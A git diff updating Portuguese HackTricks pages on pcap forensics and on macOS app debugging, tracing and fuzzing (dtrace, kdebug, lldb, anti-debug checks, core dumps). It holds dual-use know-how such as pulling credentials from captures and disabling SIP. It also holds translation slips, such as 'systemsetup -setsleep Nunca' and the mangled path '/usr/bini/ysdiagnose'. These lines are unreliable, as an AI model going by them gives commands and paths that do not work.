diff --git a/SUMMARY.md b/SUMMARY.md
index 131e32580..97054dc6f 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -637,6 +637,7 @@
* [Reverse Tab Nabbing](pentesting-web/reverse-tab-nabbing.md)
* [Unicode Injection](pentesting-web/unicode-injection/README.md)
* [Unicode Normalization](pentesting-web/unicode-injection/unicode-normalization.md)
+* [UUID Insecurities](pentesting-web/uuid-insecurities.md)
* [WebSocket Attacks](pentesting-web/websocket-attacks.md)
* [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
* [XPATH injection](pentesting-web/xpath-injection.md)
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md
index 528744416..0559bd95f 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md
@@ -6,17 +6,17 @@
Outras maneiras de apoiar o HackTricks:
-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
-[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
+[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
@@ -29,6 +29,7 @@ Uma nota sobre **PCAP** vs **PCAPNG**: existem duas versões do formato de arqui
* Se o cabeçalho do seu pcap estiver **corrompido**, você deve tentar **corrigi-lo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
* Extraia **informações** e procure por **malware** dentro de um pcap em [**PacketTotal**](https://packettotal.com)
* Procure por **atividade maliciosa** usando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
+* **Análise completa de pcap a partir do navegador em** [**https://apackets.com/**](https://apackets.com/)
## Extrair Informações
@@ -37,7 +38,7 @@ As seguintes ferramentas são úteis para extrair estatísticas, arquivos, etc.
### Wireshark
{% hint style="info" %}
-**Se você for analisar um PCAP, basicamente deve saber como usar o Wireshark**
+**Se você vai analisar um PCAP, basicamente deve saber como usar o Wireshark**
{% endhint %}
Você pode encontrar alguns truques do Wireshark em:
@@ -46,6 +47,10 @@ Você pode encontrar alguns truques do Wireshark em:
[wireshark-tricks.md](wireshark-tricks.md)
{% endcontent-ref %}
+### [**https://apackets.com/**](https://apackets.com/)
+
+Análise de pcap a partir do navegador.
+
### Xplico Framework
[**Xplico** ](https://github.com/xplico/xplico)_(apenas linux)_ pode **analisar** um **pcap** e extrair informações dele. Por exemplo, a partir de um arquivo pcap, o Xplico extrai cada e-mail (protocolos POP, IMAP e SMTP), todos os conteúdos HTTP, cada chamada VoIP (SIP), FTP, TFTP, e assim por diante.
@@ -62,7 +67,7 @@ sudo apt-get install xplico
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```
-Acesse _**127.0.0.1:9876**_ com credenciais _**xplico:xplico**_
+Acesse _**127.0.0.1:9876**_ com as credenciais _**xplico:xplico**_
Em seguida, crie um **novo caso**, crie uma **nova sessão** dentro do caso e **faça upload do arquivo pcap**.
@@ -95,21 +100,21 @@ Se você está **procurando** por **algo** dentro do pcap, você pode usar o **n
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
-### Esculpir
+### Escavação
-O uso de técnicas comuns de escultura pode ser útil para extrair arquivos e informações do pcap:
+O uso de técnicas comuns de escavação pode ser útil para extrair arquivos e informações do pcap:
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
-### Capturando credenciais
+### Captura de credenciais
Você pode usar ferramentas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analisar credenciais de um pcap ou de uma interface ao vivo.
-[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
+[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
@@ -148,7 +153,7 @@ Verifique se consegue encontrar alguma impressão digital de um malware conhecid
## Zeek
-> [Zeek](https://docs.zeek.org/en/master/about.html) é um analisador de tráfego de rede passivo e de código aberto. Muitos operadores usam o Zeek como um Monitor de Segurança de Rede (NSM) para apoiar investigações de atividades suspeitas ou maliciosas. O Zeek também suporta uma ampla gama de tarefas de análise de tráfego além do domínio de segurança, incluindo medição de desempenho e solução de problemas.
+> [Zeek](https://docs.zeek.org/en/master/about.html) é um analisador de tráfego de rede passivo e de código aberto. Muitos operadores usam o Zeek como Monitor de Segurança de Rede (NSM) para apoiar investigações de atividades suspeitas ou maliciosas. O Zeek também suporta uma ampla gama de tarefas de análise de tráfego além do domínio de segurança, incluindo medição de desempenho e solução de problemas.
Basicamente, os logs criados pelo `zeek` não são **pcaps**. Portanto, você precisará usar **outras ferramentas** para analisar os logs onde as **informações** sobre os pcaps estão.
```bash
@@ -235,7 +240,7 @@ rita show-exploded-dns -H --limit 10 zeek_logs
-[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
+[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
@@ -245,10 +250,10 @@ rita show-exploded-dns -H --limit 10 zeek_logs
Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
index cd41aca82..813d5635f 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
@@ -6,11 +6,11 @@
Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+- **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
@@ -20,7 +20,7 @@ Outras maneiras de apoiar o HackTricks:
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares stealers**.
-O principal objetivo do WhiteIntel é combater invasões de contas e ataques de ransomware resultantes de malwares que roubam informações.
+O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares que roubam informações.
Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
@@ -155,13 +155,17 @@ x64:
| **4º argumento** | **rcx** | **2º argumento para o método** |
| **5º argumento** | **r8** | **3º argumento para o método** |
| **6º argumento** | **r9** | **4º argumento para o método** |
-| **7º+ argumento** |
rsp+ (na pilha)
| **5º+ argumento para o método** |
+| **7º+ argumento** |
rsp+ (na pilha)
| **5º+ argumento para o método** |
+
+### Dynadump
+
+[**Dynadump**](https://github.com/DerekSelander/dynadump) é uma ferramenta para obter Objc-Classes de dylibs.
### Swift
Com binários Swift, como há compatibilidade com Objective-C, às vezes é possível extrair declarações usando [class-dump](https://github.com/nygard/class-dump/), mas nem sempre.
-Com os comandos de linha **`jtool -l`** ou **`otool -l`** é possível encontrar várias seções que começam com o prefixo **`__swift5`**:
+Com os comandos **`jtool -l`** ou **`otool -l`** é possível encontrar várias seções que começam com o prefixo **`__swift5`**:
```bash
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
@@ -186,7 +190,7 @@ swift demangle
### Binários compactados
* Verificar alta entropia
-* Verificar as strings (se há quase nenhuma string compreensível, compactado)
+* Verificar as strings (se houver quase nenhuma string compreensível, está compactado)
* O empacotador UPX para MacOS gera uma seção chamada "\_\_XHDR"
## Análise Dinâmica
@@ -199,9 +203,32 @@ Note que, para depurar binários, **o SIP precisa estar desativado** (`csrutil d
Note que, para **instrumentar binários do sistema** (como `cloudconfigurationd`) no macOS, **o SIP deve estar desativado** (apenas remover a assinatura não funcionará).
{% endhint %}
+### APIs
+
+O macOS expõe algumas APIs interessantes que fornecem informações sobre os processos:
+
+* `proc_info`: Esta é a principal que fornece muitas informações sobre cada processo. Você precisa ser root para obter informações de outros processos, mas não precisa de privilégios especiais ou portas mach.
+* `libsysmon.dylib`: Permite obter informações sobre processos por meio de funções expostas via XPC, no entanto, é necessário ter a permissão `com.apple.sysmond.client`.
+
+### Stackshot & microstackshots
+
+**Stackshotting** é uma técnica usada para capturar o estado dos processos, incluindo as pilhas de chamadas de todos os threads em execução. Isso é particularmente útil para depuração, análise de desempenho e compreensão do comportamento do sistema em um ponto específico no tempo. No iOS e macOS, o stackshotting pode ser realizado usando várias ferramentas e métodos como as ferramentas **`sample`** e **`spindump`**.
+
+### Sysdiagnose
+
+Esta ferramenta (`/usr/bini/ysdiagnose`) basicamente coleta muitas informações do seu computador executando dezenas de comandos diferentes, como `ps`, `zprint`...
+
+Deve ser executada como **root** e o daemon `/usr/libexec/sysdiagnosed` possui permissões muito interessantes, como `com.apple.system-task-ports` e `get-task-allow`.
+
+Seu plist está localizado em `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`, que declara 3 MachServices:
+
+* `com.apple.sysdiagnose.CacheDelete`: Exclui arquivos antigos em /var/rmp
+* `com.apple.sysdiagnose.kernel.ipc`: Porta especial 23 (kernel)
+* `com.apple.sysdiagnose.service.xpc`: Interface de modo usuário por meio da classe `Libsysdiagnose` Obj-C. Três argumentos em um dict podem ser passados (`compress`, `display`, `run`)
+
### Logs Unificados
-O MacOS gera muitos logs que podem ser muito úteis ao executar um aplicativo tentando entender **o que ele está fazendo**.
+O macOS gera muitos logs que podem ser muito úteis ao executar um aplicativo tentando entender **o que ele está fazendo**.
Além disso, existem alguns logs que conterão a tag `` para **ocultar** algumas informações **identificáveis do usuário** ou do **computador**. No entanto, é possível **instalar um certificado para divulgar essas informações**. Siga as explicações de [**aqui**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
@@ -209,7 +236,7 @@ Além disso, existem alguns logs que conterão a tag `` para **ocultar*
#### Painel esquerdo
-No painel esquerdo do Hopper, é possível ver os símbolos (**Labels**) do binário, a lista de procedimentos e funções (**Proc**) e as strings (**Str**). Essas não são todas as strings, mas as definidas em várias partes do arquivo Mac-O (como _cstring ou_ `objc_methname`).
+No painel esquerdo do hopper é possível ver os símbolos (**Labels**) do binário, a lista de procedimentos e funções (**Proc**) e as strings (**Str**). Essas não são todas as strings, mas as definidas em várias partes do arquivo Mac-O (como _cstring ou_ `objc_methname`).
#### Painel central
@@ -229,12 +256,12 @@ No painel direito, você pode ver informações interessantes, como o **históri
### dtrace
-Ele permite aos usuários acessar aplicativos em um nível extremamente **baixo** e fornece uma maneira para os usuários **rastrearem** **programas** e até mesmo alterarem seu fluxo de execução. O Dtrace usa **sondas** que são **colocadas em todo o kernel** e estão em locais como o início e o fim das chamadas de sistema.
+Ele permite que os usuários acessem aplicativos em um nível extremamente **baixo** e fornece uma maneira para os usuários **rastrearem** **programas** e até mesmo alterarem seu fluxo de execução. O Dtrace usa **sondas** que são **colocadas em todo o kernel** e estão em locais como o início e o fim das chamadas de sistema.
-O DTrace usa a função **`dtrace_probe_create`** para criar uma sonda para cada chamada de sistema. Essas sondas podem ser acionadas no **ponto de entrada e saída de cada chamada de sistema**. A interação com o DTrace ocorre através do /dev/dtrace, que está disponível apenas para o usuário root.
+O DTrace usa a função **`dtrace_probe_create`** para criar uma sonda para cada chamada de sistema. Essas sondas podem ser acionadas no **ponto de entrada e saída de cada chamada de sistema**. A interação com o DTrace ocorre por meio de /dev/dtrace, que está disponível apenas para o usuário root.
{% hint style="success" %}
-Para habilitar o Dtrace sem desativar completamente a proteção do SIP, você pode executar no modo de recuperação: `csrutil enable --without dtrace`
+Para habilitar o Dtrace sem desativar completamente a proteção SIP, você pode executar no modo de recuperação: `csrutil enable --without dtrace`
Você também pode **`dtrace`** ou **`dtruss`** binários que **você compilou**.
{% endhint %}
@@ -257,7 +284,7 @@ Uma explicação mais detalhada e mais exemplos podem ser encontrados em [https:
#### Exemplos
-Execute `man -k dtrace` para listar os **scripts DTrace disponíveis**. Exemplo: `sudo dtruss -n binary`
+Execute `man -k dtrace` para listar os **scripts do DTrace disponíveis**. Exemplo: `sudo dtruss -n binary`
* Em linha
```bash
@@ -307,12 +334,50 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
dtruss -c ls #Get syscalls of ls
dtruss -c -p 1000 #get syscalls of PID 1000
```
+### kdebug
+
+É uma facilidade de rastreamento do kernel. Os códigos documentados podem ser encontrados em **`/usr/share/misc/trace.codes`**.
+
+Ferramentas como `latency`, `sc_usage`, `fs_usage` e `trace` o utilizam internamente.
+
+Para interagir com `kdebug`, `sysctl` é usado sobre o namespace `kern.kdebug` e os MIBs a serem usados podem ser encontrados em `sys/sysctl.h`, tendo as funções implementadas em `bsd/kern/kdebug.c`.
+
+Para interagir com kdebug com um cliente personalizado, geralmente são seguidos os seguintes passos:
+
+* Remover as configurações existentes com KERN\_KDSETREMOVE
+* Definir o rastreamento com KERN\_KDSETBUF e KERN\_KDSETUP
+* Usar KERN\_KDGETBUF para obter o número de entradas de buffer
+* Obter o próprio cliente fora do rastreamento com KERN\_KDPINDEX
+* Habilitar o rastreamento com KERN\_KDENABLE
+* Ler o buffer chamando KERN\_KDREADTR
+* Para associar cada thread ao seu processo, chame KERN\_KDTHRMAP.
+
+Para obter essas informações, é possível usar a ferramenta da Apple **`trace`** ou a ferramenta personalizada [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
+
+**Observe que o Kdebug está disponível apenas para 1 cliente por vez.** Portanto, apenas uma ferramenta com suporte a k-debug pode ser executada ao mesmo tempo.
+
### ktrace
-Você pode usar este mesmo com o **SIP ativado**
+As APIs `ktrace_*` vêm de `libktrace.dylib`, que envolvem as do `Kdebug`. Assim, um cliente pode simplesmente chamar `ktrace_session_create` e `ktrace_events_[single/class]` para definir callbacks em códigos específicos e então iniciá-lo com `ktrace_start`.
+
+Você pode usar este mesmo com **SIP ativado**.
+
+Você pode usar como clientes a utilidade `ktrace`:
```bash
ktrace trace -s -S -t c -c ls | grep "ls("
```
+Ou `tailspin`.
+
+### kperf
+
+Isso é usado para fazer um perfil de nível de kernel e é construído usando chamadas `Kdebug`.
+
+Basicamente, a variável global `kernel_debug_active` é verificada e, se estiver definida, chama `kperf_kdebug_handler` com o código `Kdebug` e o endereço do quadro do kernel chamando. Se o código `Kdebug` corresponder a um selecionado, ele obtém as "ações" configuradas como um bitmap (verifique `osfmk/kperf/action.h` para as opções).
+
+Kperf também possui uma tabela MIB sysctl: (como root) `sysctl kperf`. Esses códigos podem ser encontrados em `osfmk/kperf/kperfbsd.c`.
+
+Além disso, um subconjunto da funcionalidade do Kperf reside em `kpc`, que fornece informações sobre contadores de desempenho da máquina.
+
### ProcessMonitor
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) é uma ferramenta muito útil para verificar as ações relacionadas a processos que um processo está realizando (por exemplo, monitorar quais novos processos um processo está criando).
@@ -330,7 +395,7 @@ Você precisa monitorar seu Mac com um comando como **`sudo eslogger fork exec r
### Crescendo
-[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) é uma ferramenta GUI com a aparência e sensação que os usuários do Windows podem conhecer do _Procmon_ da Microsoft Sysinternal. Esta ferramenta permite iniciar e parar a gravação de vários tipos de eventos, permite filtrar esses eventos por categorias como arquivo, processo, rede, etc., e fornece a funcionalidade de salvar os eventos gravados em um formato json.
+[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) é uma ferramenta GUI com a aparência que os usuários do Windows podem conhecer do _Procmon_ da Microsoft Sysinternal. Esta ferramenta permite iniciar e parar a gravação de vários tipos de eventos, permite filtrar esses eventos por categorias como arquivo, processo, rede, etc., e fornece a funcionalidade de salvar os eventos gravados em um formato json.
### Apple Instruments
@@ -363,7 +428,7 @@ lldb -p 1122
lldb -n malware.bin
lldb -n malware.bin --waitfor
```
-Você pode definir o sabor intel ao usar o lldb criando um arquivo chamado **`.lldbinit`** em sua pasta pessoal com a seguinte linha:
+Você pode definir o sabor da Intel ao usar o lldb criando um arquivo chamado **`.lldbinit`** em sua pasta pessoal com a seguinte linha:
```bash
settings set target.x86-disassembly-flavor intel
```
@@ -371,7 +436,7 @@ settings set target.x86-disassembly-flavor intel
Dentro do lldb, faça dump de um processo com `process save-core`
{% endhint %}
-
(lldb) Comando
Descrição
run (r)
Iniciar a execução, que continuará sem interrupções até atingir um ponto de interrupção ou o processo terminar.
continue (c)
Continuar a execução do processo em depuração.
nexti (n / ni)
Executar a próxima instrução. Este comando irá pular chamadas de função.
stepi (s / si)
Executar a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função.
finish (f)
Executar o restante das instruções na função atual ("frame") e parar.
control + c
Pausar a execução. Se o processo foi iniciado (r) ou continuado (c), isso fará com que o processo pare ... onde quer que esteja executando no momento.
breakpoint (b)
b main #Qualquer função chamada main
b <nome_do_bin>`main #Função principal do binário
b set -n main --shlib <nome_da_biblioteca> #Função principal do binário indicado
b -[NSDictionary objectForKey:]
b -a 0x0000000100004bd9
br l #Lista de pontos de interrupção
br e/dis <número> #Ativar/Desativar ponto de interrupção
breakpoint delete <número>
help
help breakpoint #Obter ajuda do comando de ponto de interrupção
help memory write #Obter ajuda para escrever na memória
Exibir a memória como uma string terminada por nulo.
x/i <endereço_do_reg/memória
Exibir a memória como instrução de montagem.
x/b <endereço_do_reg/memória
Exibir a memória como byte.
print object (po)
Isto irá imprimir o objeto referenciado pelo parâmetro
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Observe que a maioria das APIs ou métodos Objective-C da Apple retornam objetos e, portanto, devem ser exibidos através do comando "print object" (po). Se po não produzir uma saída significativa, use x/b
dis -n <nome_da_função> -b <nome_base> #Desmontar função dis -c 6 #Desmontar 6 linhas dis -c 0x100003764 -e 0x100003768 # De um endereço até o outro dis -p -c 4 # Iniciar no endereço atual desmontando
parray
parray 3 (char **)$x1 # Verificar array de 3 componentes no registro x1
+
(lldb) Comando
Descrição
run (r)
Iniciar a execução, que continuará sem interrupções até atingir um ponto de interrupção ou o processo terminar.
continue (c)
Continuar a execução do processo em depuração.
nexti (n / ni)
Executar a próxima instrução. Este comando irá pular chamadas de função.
stepi (s / si)
Executar a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função.
finish (f)
Executar o restante das instruções na função atual ("frame") e parar.
control + c
Pausar a execução. Se o processo foi iniciado (r) ou continuado (c), isso fará com que o processo pare ...onde quer que esteja executando no momento.
breakpoint (b)
b main #Qualquer função chamada main
b <nome_do_bin>`main #Função principal do binário
b set -n main --shlib <nome_da_biblioteca> #Função principal do binário indicado
b -[NSDictionary objectForKey:]
b -a 0x0000000100004bd9
br l #Lista de pontos de interrupção
br e/dis <número> #Ativar/Desativar ponto de interrupção
breakpoint delete <número>
help
help breakpoint #Obter ajuda do comando de ponto de interrupção
help memory write #Obter ajuda para escrever na memória
Exibir a memória como uma string terminada por nulo.
x/i <>endereço_do_reg/memória
Exibir a memória como instrução de montagem.
x/b <>endereço_do_reg/memória
Exibir a memória como byte.
print object (po)
Isto irá imprimir o objeto referenciado pelo parâmetro
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Observe que a maioria das APIs ou métodos Objective-C da Apple retornam objetos e, portanto, devem ser exibidos através do comando "print object" (po). Se po não produzir uma saída significativa, use x/b
dis -n <nome_da_função> -b <nome_base> #Desmontar função dis -c 6 #Desmontar 6 linhas dis -c 0x100003764 -e 0x100003768 # De um endereço até o outro dis -p -c 4 # Iniciar no endereço atual desmontando
parray
parray 3 (char **)$x1 # Verificar array de 3 componentes no registro x1
{% hint style="info" %}
Ao chamar a função **`objc_sendMsg`**, o registro **rsi** contém o **nome do método** como uma string terminada por nulo ("C"). Para imprimir o nome via lldb faça:
@@ -384,28 +449,38 @@ Ao chamar a função **`objc_sendMsg`**, o registro **rsi** contém o **nome do
`(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
{% endhint %}
-### Anti-Análise Dinâmica
+### Análise Anti-Dinâmica
#### Detecção de VM
-* O comando **`sysctl hw.model`** retorna "Mac" quando o **host é um MacOS** mas algo diferente quando é uma VM.
-* Manipulando os valores de **`hw.logicalcpu`** e **`hw.physicalcpu`** alguns malwares tentam detectar se é uma VM.
-* Alguns malwares também podem **detectar** se a máquina é baseada em **VMware** com base no endereço MAC (00:50:56).
+* O comando **`sysctl hw.model`** retorna "Mac" quando o **host é um MacOS**, mas algo diferente quando é uma VM.
+* Manipulando os valores de **`hw.logicalcpu`** e **`hw.physicalcpu`**, alguns malwares tentam detectar se é uma VM.
+* Alguns malwares também podem **detectar** se a máquina é baseada no **VMware** com base no endereço MAC (00:50:56).
* Também é possível descobrir se um processo está sendo depurado com um código simples como:
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //processo sendo depurado }`
-* Também pode invocar a chamada de sistema **`ptrace`** com a flag **`PT_DENY_ATTACH`**. Isso **impede** um deb**u**gger de anexar e rastrear.
-* Você pode verificar se a função **`sysctl`** ou **`ptrace`** está sendo **importada** (mas o malware poderia importá-la dinamicamente)
+* Também pode-se invocar a chamada de sistema **`ptrace`** com a flag **`PT_DENY_ATTACH`**. Isso **impede** que um deb**u**gger se conecte e rastreie.
+* Pode-se verificar se a função **`sysctl`** ou **`ptrace`** está sendo **importada** (mas o malware poderia importá-la dinamicamente)
* Conforme observado neste artigo, “[Derrotando Técnicas Anti-Depuração: variantes de ptrace no macOS](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_A mensagem Processo # saiu com **status = 45 (0x0000002d)** geralmente é um sinal revelador de que o alvo de depuração está usando **PT\_DENY\_ATTACH**_”
+## Despejos de Núcleo
+
+Os despejos de núcleo são criados se:
+
+- `kern.coredump` sysctl estiver definido como 1 (por padrão)
+- Se o processo não era suid/sgid ou `kern.sugid_coredump` for 1 (por padrão é 0)
+- O limite `AS_CORE` permite a operação. É possível suprimir a criação de despejos de código chamando `ulimit -c 0` e reativá-los com `ulimit -c unlimited`.
+
+Nesses casos, os despejos de núcleo são gerados de acordo com `kern.corefile` sysctl e geralmente armazenados em `/cores/core/.%P`.
+
## Fuzzing
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
-O ReportCrash **analisa processos que estão a falhar e guarda um relatório de falha no disco**. Um relatório de falha contém informações que podem **ajudar um programador a diagnosticar** a causa de uma falha.\
-Para aplicações e outros processos **a correr no contexto de lançamento por utilizador**, o ReportCrash é executado como um LaunchAgent e guarda os relatórios de falha na pasta `~/Library/Logs/DiagnosticReports/` do utilizador.\
-Para daemons, outros processos **a correr no contexto de lançamento do sistema** e outros processos privilegiados, o ReportCrash é executado como um LaunchDaemon e guarda os relatórios de falha na pasta `/Library/Logs/DiagnosticReports` do sistema.
+O ReportCrash **analisa processos que estão travando e salva um relatório de travamento no disco**. Um relatório de travamento contém informações que podem **ajudar um desenvolvedor a diagnosticar** a causa de um travamento.\
+Para aplicativos e outros processos **em execução no contexto de lançamento por usuário**, o ReportCrash é executado como um LaunchAgent e salva relatórios de travamento em `~/Library/Logs/DiagnosticReports/` do usuário.\
+Para daemons, outros processos **em execução no contexto de lançamento do sistema** e outros processos privilegiados, o ReportCrash é executado como um LaunchDaemon e salva relatórios de travamento em `/Library/Logs/DiagnosticReports` do sistema.
-Se estiver preocupado com os relatórios de falha **a serem enviados para a Apple**, pode desativá-los. Caso contrário, os relatórios de falha podem ser úteis para **descobrir como um servidor falhou**.
+Se você está preocupado com os relatórios de travamento **sendo enviados para a Apple**, você pode desativá-los. Caso contrário, os relatórios de travamento podem ser úteis para **descobrir como um servidor travou**.
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@@ -419,7 +494,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
Durante o fuzzing em um MacOS, é importante não permitir que o Mac entre em modo de sono:
-* systemsetup -setsleep Never
+* systemsetup -setsleep Nunca
* pmset, Preferências do Sistema
* [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake)
@@ -427,7 +502,7 @@ Durante o fuzzing em um MacOS, é importante não permitir que o Mac entre em mo
